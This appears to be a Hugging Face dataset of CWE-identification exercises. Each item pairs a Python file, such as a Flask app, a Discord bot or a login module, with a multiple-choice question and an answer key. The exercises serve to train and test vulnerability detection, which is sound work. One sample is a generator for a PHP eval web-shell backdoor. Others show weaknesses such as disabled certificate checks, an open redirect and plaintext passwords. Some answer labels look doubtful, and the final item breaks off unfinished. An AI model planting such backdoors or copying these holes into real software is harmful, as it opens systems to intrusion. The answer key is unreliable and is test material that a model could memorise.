OctoReasoner/verl_codeql1_aggressive_filtered huggingface dataset:
system: You are an expert security code reviewer. You will be shown a source code file along with a multi-select question listing several CWE (Common Weakness Enumeration) categories. Your task is to identify which of the listed CWEs are present in the code.

OUTPUT FORMAT: Respond with the letter(s) of all correct options, sorted alphabetically and comma-separated, wrapped in a single \boxed{...}. Examples: `\boxed{A}` for one correct, `\boxed{A,C}` for two, `\boxed{A,C,E}` for three. Output the boxed answer ONLY -- no explanation, no other text.

user: ```python
#!/usr/bin/env python
from __future__ import print_function
from dnac_utils import dnac_token, create_url
import requests
import json


# Entry point for program.
if __name__ == '__main__':

    # get an authentication token.  The username and password is obtained from an environment file
    token = dnac_token()
    headers = {'x-auth-token' : token}

    # create a url for this API call
    url =  create_url('/v1/template-programmer/project')

    # make the REST request
    response = requests.get(url, headers=headers, verify=False)
    response.raise_for_status()

    # now print the templates
    for project in response.json():
        if project['templates'] <> []:
            print('Project:{}'.format(project['name']))
            for template in project['templates']:
                print ('\t{}:{}'.format(template['name'], template['id']))


```

Which of the following CWE vulnerability categories are present in this code? Multiple options may be correct.

  A) CWE-601: URL Redirection to Untrusted Site ('Open Redirect')
  B) CWE-502: Deserialization of Untrusted Data
  C) CWE-312: Cleartext Storage of Sensitive Information
  D) CWE-327: Use of a Broken or Risky Cryptographic Algorithm
  E) CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Request/Response Splitting')
  F) CWE-295: Improper Certificate Validation
Answer: F
system: You are an expert security code reviewer. You will be shown a source code file along with a multi-select question listing several CWE (Common Weakness Enumeration) categories. Your task is to identify which of the listed CWEs are present in the code.

OUTPUT FORMAT: Respond with the letter(s) of all correct options, sorted alphabetically and comma-separated, wrapped in a single \boxed{...}. Examples: `\boxed{A}` for one correct, `\boxed{A,C}` for two, `\boxed{A,C,E}` for three. Output the boxed answer ONLY -- no explanation, no other text.

user: ```python
from flask import Flask, jsonify, make_response, request, abort, redirect, send_file, render_template
import logging
import base64
import os
import cv2

import sys
localpath = sys.path[0].replace("/src","")
sys.path.append(localpath)

from src.emotion_recognition import process_image


app = Flask(__name__)

@app.route('/')
def index():
    print("Welcome to emotion recognition system")
    return render_template('index.html')

@app.route('/predict', methods=['POST'])
#Only used for png file
def predict():
    print("Starting predict emotion")
    json_data = request.get_json()
    image_data = base64.b64decode(json_data["image"])

    print("Starting procecss image")
    (output_image, emotion_result) = process_image(image_data)

    print("Writing temp image to disk")
    image_filename = str(json_data["id"]) + ".png"
    cv2.imwrite(image_filename, output_image)

    print("Encoding output image to base64")
    with open(image_filename, "rb") as img_file:
        output_string = base64.b64encode(img_file.read())
        output_string = output_string.decode("utf-8")

    os.remove(image_filename)

    return make_response(jsonify({"message": "Successfully predict image", "image": output_string, "emotion_result": emotion_result}), 200)

@app.errorhandler(400)
def bad_request(erro):
    return make_response(jsonify({'error': 'We cannot process the file sent in the request.'}), 400)

@app.errorhandler(404)
def not_found(error):
    return make_response(jsonify({'error': 'Resource no found.'}), 404)

if __name__ == '__main__':
    app.run(debug=True, host='0.0.0.0', port=8084)
```

Which of the following CWE vulnerability categories are present in this code? Multiple options may be correct.

  A) CWE-611: Improper Restriction of XML External Entity Reference
  B) CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
  C) CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
  D) CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
  E) CWE-117: Improper Output Neutralization for Logs
  F) CWE-215: Insertion of Sensitive Information Into Debugging Code
Answer: D,F
system: You are an expert security code reviewer. You will be shown a source code file. Your task is to name the single function or class that contains the specified CWE vulnerability.

OUTPUT FORMAT: Respond with the exact function or class name (no parentheses, no qualifiers, no module prefixes), wrapped in \boxed{...}. Example: `\boxed{salted_hmac}`. Output the boxed name ONLY -- no explanation, no other text.

user: ```python
from flask import Flask, jsonify, make_response, request, abort, redirect, send_file, render_template
import logging
import base64
import os
import cv2

import sys
localpath = sys.path[0].replace("/src","")
sys.path.append(localpath)

from src.emotion_recognition import process_image


app = Flask(__name__)

@app.route('/')
def index():
    print("Welcome to emotion recognition system")
    return render_template('index.html')

@app.route('/predict', methods=['POST'])
#Only used for png file
def predict():
    print("Starting predict emotion")
    json_data = request.get_json()
    image_data = base64.b64decode(json_data["image"])

    print("Starting procecss image")
    (output_image, emotion_result) = process_image(image_data)

    print("Writing temp image to disk")
    image_filename = str(json_data["id"]) + ".png"
    cv2.imwrite(image_filename, output_image)

    print("Encoding output image to base64")
    with open(image_filename, "rb") as img_file:
        output_string = base64.b64encode(img_file.read())
        output_string = output_string.decode("utf-8")

    os.remove(image_filename)

    return make_response(jsonify({"message": "Successfully predict image", "image": output_string, "emotion_result": emotion_result}), 200)

@app.errorhandler(400)
def bad_request(erro):
    return make_response(jsonify({'error': 'We cannot process the file sent in the request.'}), 400)

@app.errorhandler(404)
def not_found(error):
    return make_response(jsonify({'error': 'Resource no found.'}), 404)

if __name__ == '__main__':
    app.run(debug=True, host='0.0.0.0', port=8084)
```

Name the function or class in this code that contains a `CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')` vulnerability.
Answer: predict
system: You are an expert security code reviewer. You will be shown a source code file along with a multi-select question listing several CWE (Common Weakness Enumeration) categories. Your task is to identify which of the listed CWEs are present in the code.

OUTPUT FORMAT: Respond with the letter(s) of all correct options, sorted alphabetically and comma-separated, wrapped in a single \boxed{...}. Examples: `\boxed{A}` for one correct, `\boxed{A,C}` for two, `\boxed{A,C,E}` for three. Output the boxed answer ONLY -- no explanation, no other text.

user: ```python
# -*- coding: utf-8 -*-
from re import IGNORECASE
from re import compile as re_compile

HOST_REGEX = re_compile(
    # max length for domain name labels is 63 characters per RFC 1034
    r'((?:[A-Z0-9](?:[A-Z0-9-]{0,61}[A-Z0-9])?\.)+)'
    r'(?:[A-Z0-9-]{2,63}(?<!-))\Z',
    IGNORECASE
)


LITERAL_REGEX = re_compile(
    # literal form, ipv4 or ipv6 address (SMTP 4.1.3)
    r'\[([A-f0-9:\.]+)\]\Z',
    IGNORECASE
)


USER_REGEX = re_compile(
    # dot-atom
    r"(^[-!#$%&'*+/=?^_`{}|~0-9A-Z]+(\.[-!#$%&'*+/=?^_`{}|~0-9A-Z]+)*\Z"
    # quoted-string
    r'|^"([\001-\010\013\014\016-\037!#-\[\]-\177]|\\[\001-\011\013'
    r'\014\016-\177])*"\Z)',
    IGNORECASE
)

```

Which of the following CWE vulnerability categories are present in this code? Multiple options may be correct.

  A) CWE-611: Improper Restriction of XML External Entity Reference
  B) CWE-502: Deserialization of Untrusted Data
  C) CWE-20: Improper Input Validation
  D) CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
  E) CWE-1333: Inefficient Regular Expression Complexity
  F) CWE-312: Cleartext Storage of Sensitive Information
Answer: C,E
system: You are an expert security code reviewer. You will be shown a source code file along with a multi-select question listing several CWE (Common Weakness Enumeration) categories. Your task is to identify which of the listed CWEs are present in the code.

OUTPUT FORMAT: Respond with the letter(s) of all correct options, sorted alphabetically and comma-separated, wrapped in a single \boxed{...}. Examples: `\boxed{A}` for one correct, `\boxed{A,C}` for two, `\boxed{A,C,E}` for three. Output the boxed answer ONLY -- no explanation, no other text.

user: ```python
# Created by Max Yurchenko on 07.10.2017
# email: joker0071911@gmail.com 
# feel free to ask any questions) 
# Copyright(C) 2017  

from crypto import *
from commonFunctions import *
import os


class Authorisation:

    users = {}
    def __init__(self):
        printOSinfo()
        input()
        self.parse_user_data_file()
        self.login = input('Input login: ')
        if self.login == 'reg':
            self.reg()
        else:
            self.password = input('Input password: ')
            try:
                if self.password == self.users[self.login]:
                    self.successful_login = True
            except Exception as e:
                print('error')
                self.successful_login = False

    def parse_user_data_file(self):
        user_data_file = open('os_data/users.dat')
        file_data = user_data_file.read()
        if not file_data:
            return
        file_data= file_data.split(';')
        file_data.remove(file_data[len(file_data)-1]) #empty element, i dunno why))
        for i in file_data:
            login, password = i.split(':')
            self.users[login] = password

    def reg(self):
        clear_screen()
        self.login = input('Input new login')
        if self.login in self.users.keys():
            print('User already exists')
            return -1
        self.password = input('Input password: ')
        conf_password = input('Confirm password: ')
        if not self.password == conf_password:
            print('Error.')
            input()
            return -1
        os.makedirs('user_data/'+self.login)
        user_data_file = open('os_data/users.dat','a')
        user_data_file.write(''+self.login+':'+self.password+';')


```

Which of the following CWE vulnerability categories are present in this code? Multiple options may be correct.

  A) CWE-326: Inadequate Encryption Strength
  B) CWE-312: Cleartext Storage of Sensitive Information
  C) CWE-209: Generation of Error Message Containing Sensitive Information
  D) CWE-215: Insertion of Sensitive Information Into Debugging Code
  E) CWE-1004: Sensitive Cookie Without 'HttpOnly' Flag
  F) CWE-1333: Inefficient Regular Expression Complexity
Answer: B
system: You are an expert security code reviewer. You will be shown a source code file along with a multiple-choice question listing several function or class names from that file. Your task is to identify which one contains the specified CWE vulnerability.

OUTPUT FORMAT: Respond with the single letter of the correct option, wrapped in \boxed{...}. Example: `\boxed{B}`. Output the boxed letter ONLY -- no explanation, no other text.

user: ```python
# Created by Max Yurchenko on 07.10.2017
# email: joker0071911@gmail.com 
# feel free to ask any questions) 
# Copyright(C) 2017  

from crypto import *
from commonFunctions import *
import os


class Authorisation:

    users = {}
    def __init__(self):
        printOSinfo()
        input()
        self.parse_user_data_file()
        self.login = input('Input login: ')
        if self.login == 'reg':
            self.reg()
        else:
            self.password = input('Input password: ')
            try:
                if self.password == self.users[self.login]:
                    self.successful_login = True
            except Exception as e:
                print('error')
                self.successful_login = False

    def parse_user_data_file(self):
        user_data_file = open('os_data/users.dat')
        file_data = user_data_file.read()
        if not file_data:
            return
        file_data= file_data.split(';')
        file_data.remove(file_data[len(file_data)-1]) #empty element, i dunno why))
        for i in file_data:
            login, password = i.split(':')
            self.users[login] = password

    def reg(self):
        clear_screen()
        self.login = input('Input new login')
        if self.login in self.users.keys():
            print('User already exists')
            return -1
        self.password = input('Input password: ')
        conf_password = input('Confirm password: ')
        if not self.password == conf_password:
            print('Error.')
            input()
            return -1
        os.makedirs('user_data/'+self.login)
        user_data_file = open('os_data/users.dat','a')
        user_data_file.write(''+self.login+':'+self.password+';')


```

Which of the following functions or classes contains a `CWE-312: Cleartext Storage of Sensitive Information` vulnerability?

  A) Authorisation
  B) reg
  C) __init__
  D) parse_user_data_file
Answer: B
system: You are an expert security code reviewer. You will be shown a source code file. Your task is to name the single function or class that contains the specified CWE vulnerability.

OUTPUT FORMAT: Respond with the exact function or class name (no parentheses, no qualifiers, no module prefixes), wrapped in \boxed{...}. Example: `\boxed{salted_hmac}`. Output the boxed name ONLY -- no explanation, no other text.

user: ```python
# Created by Max Yurchenko on 07.10.2017
# email: joker0071911@gmail.com 
# feel free to ask any questions) 
# Copyright(C) 2017  

from crypto import *
from commonFunctions import *
import os


class Authorisation:

    users = {}
    def __init__(self):
        printOSinfo()
        input()
        self.parse_user_data_file()
        self.login = input('Input login: ')
        if self.login == 'reg':
            self.reg()
        else:
            self.password = input('Input password: ')
            try:
                if self.password == self.users[self.login]:
                    self.successful_login = True
            except Exception as e:
                print('error')
                self.successful_login = False

    def parse_user_data_file(self):
        user_data_file = open('os_data/users.dat')
        file_data = user_data_file.read()
        if not file_data:
            return
        file_data= file_data.split(';')
        file_data.remove(file_data[len(file_data)-1]) #empty element, i dunno why))
        for i in file_data:
            login, password = i.split(':')
            self.users[login] = password

    def reg(self):
        clear_screen()
        self.login = input('Input new login')
        if self.login in self.users.keys():
            print('User already exists')
            return -1
        self.password = input('Input password: ')
        conf_password = input('Confirm password: ')
        if not self.password == conf_password:
            print('Error.')
            input()
            return -1
        os.makedirs('user_data/'+self.login)
        user_data_file = open('os_data/users.dat','a')
        user_data_file.write(''+self.login+':'+self.password+';')


```

Name the function or class in this code that contains a `CWE-312: Cleartext Storage of Sensitive Information` vulnerability.
Answer: reg
system: You are an expert security code reviewer. You will be shown a source code file along with a multi-select question listing several CWE (Common Weakness Enumeration) categories. Your task is to identify which of the listed CWEs are present in the code.

OUTPUT FORMAT: Respond with the letter(s) of all correct options, sorted alphabetically and comma-separated, wrapped in a single \boxed{...}. Examples: `\boxed{A}` for one correct, `\boxed{A,C}` for two, `\boxed{A,C,E}` for three. Output the boxed answer ONLY -- no explanation, no other text.

user: ```python
#!/usr/bin/env python
#-*- coding:utf-8; mode:python; indent-tabs-mode: nil; c-basic-offset: 2; tab-width: 2 -*-

import os, os.path as path
from collections import namedtuple

from bes.fs.file_util import file_util

class install(object):

  item = namedtuple('item', 'filename,dest_dir,mode')
  
  @classmethod
  def install(clazz, filename, dest_dir, mode = 0o755):
    file_util.mkdir(dest_dir)
    file_util.copy(filename, dest_dir)
    os.chmod(path.join(dest_dir, filename), mode)

  @classmethod
  def install_many(clazz, items):
    for item in items:
      clazz.install(item.filename, item.dest_dir, item.mode)

```

Which of the following CWE vulnerability categories are present in this code? Multiple options may be correct.

  A) CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
  B) CWE-1333: Inefficient Regular Expression Complexity
  C) CWE-730: OWASP Top Ten 2004 Category A9 - Denial of Service
  D) CWE-1004: Sensitive Cookie Without 'HttpOnly' Flag
  E) CWE-732: Incorrect Permission Assignment for Critical Resource
  F) CWE-601: URL Redirection to Untrusted Site ('Open Redirect')
Answer: E
system: You are an expert security code reviewer. You will be shown a source code file along with a multiple-choice question listing several function or class names from that file. Your task is to identify which one contains the specified CWE vulnerability.

OUTPUT FORMAT: Respond with the single letter of the correct option, wrapped in \boxed{...}. Example: `\boxed{B}`. Output the boxed letter ONLY -- no explanation, no other text.

user: ```python
#!/usr/bin/env python
#-*- coding:utf-8; mode:python; indent-tabs-mode: nil; c-basic-offset: 2; tab-width: 2 -*-

import os, os.path as path
from collections import namedtuple

from bes.fs.file_util import file_util

class install(object):

  item = namedtuple('item', 'filename,dest_dir,mode')
  
  @classmethod
  def install(clazz, filename, dest_dir, mode = 0o755):
    file_util.mkdir(dest_dir)
    file_util.copy(filename, dest_dir)
    os.chmod(path.join(dest_dir, filename), mode)

  @classmethod
  def install_many(clazz, items):
    for item in items:
      clazz.install(item.filename, item.dest_dir, item.mode)

```

Which of the following functions or classes contains a `CWE-732: Incorrect Permission Assignment for Critical Resource` vulnerability?

  A) install_many
  B) install
Answer: B
system: You are an expert security code reviewer. You will be shown a source code file along with a multi-select question listing several CWE (Common Weakness Enumeration) categories. Your task is to identify which of the listed CWEs are present in the code.

OUTPUT FORMAT: Respond with the letter(s) of all correct options, sorted alphabetically and comma-separated, wrapped in a single \boxed{...}. Examples: `\boxed{A}` for one correct, `\boxed{A,C}` for two, `\boxed{A,C,E}` for three. Output the boxed answer ONLY -- no explanation, no other text.

user: ```python
import pandas as pd
from GenderDecider import GenderDecider

train = pd.read_csv("../../asset/imdb/train.csv", names=["label", "sentence"], sep="\t")
gender_distribution_train = {"male": 0, "female": 0, "cannot decide": 0, "no gender": 0}

for index, row in train.iterrows():
    text = row["sentence"]
    obj = GenderDecider(text)
    gender = obj.getGender()
    gender_distribution_train[gender] += 1

print("Gender Distribution Train" , gender_distribution_train)   

test = pd.read_csv("../../asset/imdb/test.csv", names=["label", "sentence"], sep="\t")
gender_distribution_test = {"male": 0, "female": 0, "cannot decide": 0, "no gender": 0}

for index, row in test.iterrows():
    text = row["sentence"]
    obj = GenderDecider(text)
    gender = obj.getGender()
    gender_distribution_test[gender] += 1

print("Gender Distribution Test" , gender_distribution_test) 

```

Which of the following CWE vulnerability categories are present in this code? Multiple options may be correct.

  A) CWE-377: Insecure Temporary File
  B) CWE-326: Inadequate Encryption Strength
  C) CWE-94: Improper Control of Generation of Code ('Code Injection')
  D) CWE-943: Improper Neutralization of Special Elements in Data Query Logic
  E) CWE-215: Insertion of Sensitive Information Into Debugging Code
  F) CWE-312: Cleartext Storage of Sensitive Information
Answer: F
system: You are an expert security code reviewer. You will be shown a source code file along with a multi-select question listing several CWE (Common Weakness Enumeration) categories. Your task is to identify which of the listed CWEs are present in the code.

OUTPUT FORMAT: Respond with the letter(s) of all correct options, sorted alphabetically and comma-separated, wrapped in a single \boxed{...}. Examples: `\boxed{A}` for one correct, `\boxed{A,C}` for two, `\boxed{A,C,E}` for three. Output the boxed answer ONLY -- no explanation, no other text.

user: ```python
import os

password = '123456'

def summon_php(password):
    f = open('shell.txt','w')
    f.write("<?php @eval($_POST['")
    f.write(password)
    f.write("']); ?>")
    f.close()
    os.rename('shell.txt','shell.php')
    print('[*]生成完毕  R > /shell.php','    password: '+password)

while True:
    
    cmd = input('T-BOX auxiliary(summon/php) >')
    
    if cmd == 'show options':
        print('                                                          ')
        print('----------name---------content------------present---------')
        print('        password     ' + password + '           后门密码    ')
        print('                                                          ')

    elif cmd == '':    
        pass

    elif cmd[:13] == 'set password ':
        password = cmd[13:]
        print('[*]password ==> '+password)

    elif cmd == 'run':
        print('start.......')
        summon_php(password=password)
    
    elif cmd == 'back':
        break
    
    else:
        print("[-]can't find command: " + cmd)
    

```

Which of the following CWE vulnerability categories are present in this code? Multiple options may be correct.

  A) CWE-732: Incorrect Permission Assignment for Critical Resource
  B) CWE-643: Improper Neutralization of Data within XPath Expressions ('XPath Injection')
  C) CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
  D) CWE-502: Deserialization of Untrusted Data
  E) CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
  F) CWE-312: Cleartext Storage of Sensitive Information
Answer: F
system: You are an expert security code reviewer. You will be shown a source code file along with a multi-select question listing several CWE (Common Weakness Enumeration) categories. Your task is to identify which of the listed CWEs are present in the code.

OUTPUT FORMAT: Respond with the letter(s) of all correct options, sorted alphabetically and comma-separated, wrapped in a single \boxed{...}. Examples: `\boxed{A}` for one correct, `\boxed{A,C}` for two, `\boxed{A,C,E}` for three. Output the boxed answer ONLY -- no explanation, no other text.

user: ```python
# -*- coding: utf-8 -*-

from hashlib import sha256
import time
import math

from main import PASSWORD_SALT


def generate_password_hash(password):
    password = sha256(password.encode("utf-8")).hexdigest()
    password = "".join([password, PASSWORD_SALT])
    return sha256(password).hexdigest()


def uniqid():
    local_time = time.time()
    return '%4x%05x' % (math.floor(local_time), (local_time - math.floor(local_time)) * 1000000)

```

Which of the following CWE vulnerability categories are present in this code? Multiple options may be correct.

  A) CWE-502: Deserialization of Untrusted Data
  B) CWE-94: Improper Control of Generation of Code ('Code Injection')
  C) CWE-611: Improper Restriction of XML External Entity Reference
  D) CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Request/Response Splitting')
  E) CWE-327: Use of a Broken or Risky Cryptographic Algorithm
  F) CWE-200: Exposure of Sensitive Information to an Unauthorized Actor
Answer: E
system: You are an expert security code reviewer. You will be shown a source code file along with a multiple-choice question listing several function or class names from that file. Your task is to identify which one contains the specified CWE vulnerability.

OUTPUT FORMAT: Respond with the single letter of the correct option, wrapped in \boxed{...}. Example: `\boxed{B}`. Output the boxed letter ONLY -- no explanation, no other text.

user: ```python
# -*- coding: utf-8 -*-

from hashlib import sha256
import time
import math

from main import PASSWORD_SALT


def generate_password_hash(password):
    password = sha256(password.encode("utf-8")).hexdigest()
    password = "".join([password, PASSWORD_SALT])
    return sha256(password).hexdigest()


def uniqid():
    local_time = time.time()
    return '%4x%05x' % (math.floor(local_time), (local_time - math.floor(local_time)) * 1000000)

```

Which of the following functions or classes contains a `CWE-327: Use of a Broken or Risky Cryptographic Algorithm` vulnerability?

  A) generate_password_hash
  B) uniqid
Answer: A
system: You are an expert security code reviewer. You will be shown a source code file along with a multiple-choice question listing several function or class names from that file. Your task is to identify which one contains the specified CWE vulnerability.

OUTPUT FORMAT: Respond with the single letter of the correct option, wrapped in \boxed{...}. Example: `\boxed{B}`. Output the boxed letter ONLY -- no explanation, no other text.

user: ```python
# pylint: disable=import-error

import logging
from urlparse import urlparse
import json

from curling.sites.gsoc import Gsoc
from curling.sites.tsn import Tsn


class Scraper(object):

    def __init__(self):
        self.sites = []

    @staticmethod
    def init_site_from_url(url):
        """Factory method for getting a Site class from URL"""
        parsed = urlparse(url)
        if 'tsn.ca' in parsed.netloc:
            return Tsn(url)
        elif 'thegrandslamofcurling.com' in parsed.netloc:
            return Gsoc(url)
        else:
            return None

    def attach_site(self, url):
        self.sites.append(self.init_site_from_url(url))

    def scrape(self, flush_cache=False):
        for site in self.sites:
            site.load_from_cache()
            if site.last_scraped and not flush_cache:
                # Loaded from cache
                pass
            else:
                site.scrape()

    def get_draws(self):
        draws = []
        for site in self.sites:
            draws = draws + site.get_draws()
        return draws

    def dump_json(self):
        return json.dumps(self.get_draws())

```

Which of the following functions or classes contains a `CWE-20: Improper Input Validation` vulnerability?

  A) Scraper
  B) attach_site
  C) init_site_from_url
  D) scrape
Answer: C
system: You are an expert security code reviewer. You will be shown a source code file. Your task is to name the single function or class that contains the specified CWE vulnerability.

OUTPUT FORMAT: Respond with the exact function or class name (no parentheses, no qualifiers, no module prefixes), wrapped in \boxed{...}. Example: `\boxed{salted_hmac}`. Output the boxed name ONLY -- no explanation, no other text.

user: ```python
# pylint: disable=import-error

import logging
from urlparse import urlparse
import json

from curling.sites.gsoc import Gsoc
from curling.sites.tsn import Tsn


class Scraper(object):

    def __init__(self):
        self.sites = []

    @staticmethod
    def init_site_from_url(url):
        """Factory method for getting a Site class from URL"""
        parsed = urlparse(url)
        if 'tsn.ca' in parsed.netloc:
            return Tsn(url)
        elif 'thegrandslamofcurling.com' in parsed.netloc:
            return Gsoc(url)
        else:
            return None

    def attach_site(self, url):
        self.sites.append(self.init_site_from_url(url))

    def scrape(self, flush_cache=False):
        for site in self.sites:
            site.load_from_cache()
            if site.last_scraped and not flush_cache:
                # Loaded from cache
                pass
            else:
                site.scrape()

    def get_draws(self):
        draws = []
        for site in self.sites:
            draws = draws + site.get_draws()
        return draws

    def dump_json(self):
        return json.dumps(self.get_draws())

```

Name the function or class in this code that contains a `CWE-20: Improper Input Validation` vulnerability.
Answer: init_site_from_url
system: You are an expert security code reviewer. You will be shown a source code file along with a multi-select question listing several CWE (Common Weakness Enumeration) categories. Your task is to identify which of the listed CWEs are present in the code.

OUTPUT FORMAT: Respond with the letter(s) of all correct options, sorted alphabetically and comma-separated, wrapped in a single \boxed{...}. Examples: `\boxed{A}` for one correct, `\boxed{A,C}` for two, `\boxed{A,C,E}` for three. Output the boxed answer ONLY -- no explanation, no other text.

user: ```python
from flask import render_template,redirect,url_for,request,flash
from .forms import LoginForm,RegisterForm
from flask_login import login_user,logout_user,login_required
from . import auth
from .. import db
from ..models import User

@auth.route('/login',methods=['GET','POST'])
def login():
    form = LoginForm()
    if form.validate_on_submit(): 
        user = User.query.filter_by(email = form.email.data).first()
        if user is not None and user.verify_password(form.password.data): 
            login_user(user,form.remember.data)
            return redirect(request.args.get('next') or url_for('main.pitches'))
    
        flash('Invalid username or Password')
    
    
        
    return render_template('login.html', form=form)
@auth.route('/logout')
@login_required
def logout():
    logout_user()
    return redirect(url_for("main.index"))

@auth.route('/signup',methods=['GET','POST'])
def signup():
    form = RegisterForm()
    if form.validate_on_submit(): 
        user = User(email = form.email.data, username = form.username.data, password = form.password.data)
        db.session.add(user)
        db.session.commit()
   
        
    return render_template('signup.html', form=form)
```

Which of the following CWE vulnerability categories are present in this code? Multiple options may be correct.

  A) CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
  B) CWE-601: URL Redirection to Untrusted Site ('Open Redirect')
  C) CWE-326: Inadequate Encryption Strength
  D) CWE-116: Improper Encoding or Escaping of Output
  E) CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
  F) CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Answer: B
system: You are an expert security code reviewer. You will be shown a source code file. Your task is to name the single function or class that contains the specified CWE vulnerability.

OUTPUT FORMAT: Respond with the exact function or class name (no parentheses, no qualifiers, no module prefixes), wrapped in \boxed{...}. Example: `\boxed{salted_hmac}`. Output the boxed name ONLY -- no explanation, no other text.

user: ```python
from flask import render_template,redirect,url_for,request,flash
from .forms import LoginForm,RegisterForm
from flask_login import login_user,logout_user,login_required
from . import auth
from .. import db
from ..models import User

@auth.route('/login',methods=['GET','POST'])
def login():
    form = LoginForm()
    if form.validate_on_submit(): 
        user = User.query.filter_by(email = form.email.data).first()
        if user is not None and user.verify_password(form.password.data): 
            login_user(user,form.remember.data)
            return redirect(request.args.get('next') or url_for('main.pitches'))
    
        flash('Invalid username or Password')
    
    
        
    return render_template('login.html', form=form)
@auth.route('/logout')
@login_required
def logout():
    logout_user()
    return redirect(url_for("main.index"))

@auth.route('/signup',methods=['GET','POST'])
def signup():
    form = RegisterForm()
    if form.validate_on_submit(): 
        user = User(email = form.email.data, username = form.username.data, password = form.password.data)
        db.session.add(user)
        db.session.commit()
   
        
    return render_template('signup.html', form=form)
```

Name the function or class in this code that contains a `CWE-601: URL Redirection to Untrusted Site ('Open Redirect')` vulnerability.
Answer: login
system: You are an expert security code reviewer. You will be shown a source code file along with a multiple-choice question listing several function or class names from that file. Your task is to identify which one contains the specified CWE vulnerability.

OUTPUT FORMAT: Respond with the single letter of the correct option, wrapped in \boxed{...}. Example: `\boxed{B}`. Output the boxed letter ONLY -- no explanation, no other text.

user: ```python
# noinspection PyPackageRequirements
import json
import os

import discord
import requests

# noinspection PyPackageRequirements
from discord.ext import commands

API_KEY = os.getenv("CLEVERBOT_API_KEY")


class CleverbotCog(commands.Cog, name="Cleverbot"):
    def __init__(self, bot):
        self.bot = bot
        self.states = {}
        self.dmstates = {}
        self.dminit = []

    @commands.Cog.listener()
    async def on_message(self, message):
        if (
            type(message.channel) == discord.channel.TextChannel
            and message.channel.name == "random"
            and message.content.lower().startswith("john ")
        ):
            # each channel has unique state
            state_id = str(message.channel.name)

            if state_id not in self.states:
                self.states[state_id] = None
            input = message.content.split(" ", 1)[1]
            r = requests.get(
                url=f"http://www.cleverbot.com/getreply?key={API_KEY}&input={input}&cs={self.states[state_id]}",
                verify=False,
            )
            msg_out = json.loads(r.text)["output"]
            self.states[state_id] = json.loads(r.text)["cs"]
            await message.channel.send(content=str(msg_out))
        if (
            type(message.channel) == discord.channel.DMChannel
            and message.author is not message.channel.me
        ):
            if not(message.author.id in self.dminit):
                await message.channel.send(
                    "Hey, let me tell you a secret. ***I'm actually a robot.*** I respond to messages by AI.\n\n"
                    + "**If you need help, please message a staff member. (Someone with a red name.)**"
                )
                self.dminit.append(message.author.id)
                return
            state_id = str(message.channel.id)  # each channel has unique state

            if state_id not in self.dmstates:
                self.dmstates[state_id] = None
            # input = message.content.split(' ', 1)[1]
            input = message.content
            r = requests.get(
                url="http://www.cleverbot.com/getreply?key={}&input={}&cs={}".format(
                    API_KEY, input, self.dmstates[state_id]
                ),
                verify=False,
            )
            msg_out = json.loads(r.text)["output"]
            self.dmstates[state_id] = json.loads(r.text)["cs"]
            await message.channel.send(content=str(msg_out))


def setup(bot):
    bot.add_cog(CleverbotCog(bot))

```

Which of the following functions or classes contains a `CWE-295: Improper Certificate Validation` vulnerability?

  A) setup
  B) on_message
  C) __init__
  D) CleverbotCog
Answer: B
system: You are an expert security code reviewer. You will be shown a source code file. Your task is to name the single function or class that contains the specified CWE vulnerability.

OUTPUT FORMAT: Respond with the exact function or class name (no parentheses, no qualifiers, no module prefixes), wrapped in \boxed{...}. Example: `\boxed{salted_hmac}`. Output the boxed name ONLY -- no explanation, no other text.

user: ```python
# noinspection PyPackageRequirements
import json
import os

import discord
import requests

# noinspection PyPackageRequirements
from discord.ext import commands

API_KEY = os.getenv("CLEVERBOT_API_KEY")


class CleverbotCog(commands.Cog, name="Cleverbot"):
    def __init__(self, bot):
        self.bot = bot
        self.states = {}
        self.dmstates = {}
        self.dminit = []

    @commands.Cog.listener()
    async def on_message(self, message):
        if (
            type(message.channel) == discord.channel.TextChannel
            and message.channel.name == "random"
            and message.content.lower().startswith("john ")
        ):
            # each channel has unique state
            state_id = str(message.channel.name)

            if state_id not in self.states:
                self.states[state_id] = None
            input = message.content.split(" ", 1)[1]
            r = requests.get(
                url=f"http://www.cleverbot.com/getreply?key={API_KEY}&input={input}&cs={self.states[state_id]}",
                verify=False,
            )
            msg_out = json.loads(r.text)["output"]
            self.states[state_id] = json.loads(r.text)["cs"]
            await message.channel.send(content=str(msg_out))
        if (
            type(message.channel) == discord.channel.DMChannel
            and message.author is not message.channel.me
        ):
            if not(message.author.id in self.dminit):
                await message.channel.send(
                    "Hey, let me tell you a secret. ***I'm actually a robot.*** I respond to messages by AI.\n\n"
                    + "**If you need help, please message a staff member. (Someone with a red name.)**"
                )
                self.dminit.append(message.author.id)
                return
            state_id = str(message.channel.id)  # each channel has unique state

            if state_id not in self.dmstates:
                self.dmstates[state_id] = None
            # input = message.content.split(' ', 1)[1]
            input = message.content
            r = requests.get(
                url="http://www.cleverbot.com/getreply?key={}&input={}&cs={}".format(
                    API_KEY, input, self.dmstates[state_id]
                ),
                verify=False,
            )
            msg_out = json.loads(r.text)["output"]
            self.dmstates[state_id] = json.loads(r.text)["cs"]
            await message.channel.send(content=str(msg_out))


def setup(bot):
    bot.add_cog(CleverbotCog(bot))

```

Name the function or class in this code that contains a `CWE-295: Improper Certificate Validation` vulnerability.
Answer: on_message
system: You are an expert security code reviewer. You will be shown a source code file along with a multi-select question listing several CWE (Common Weakness Enumeration) categories. Your task is to identify which of the listed CWEs are present in the code.

OUTPUT FORMAT: Respond with the letter(s) of all correct options, sorted alphabetically and comma-separated, wrapped in a single \boxed{...}. Examples: `\boxed{A}` for one correct, `\boxed{A,C}` for two, `\boxed{A,C,E}` for three. Output the boxed answer ONLY -- no explanation, no other text.

user: ```python
print('*********************************')
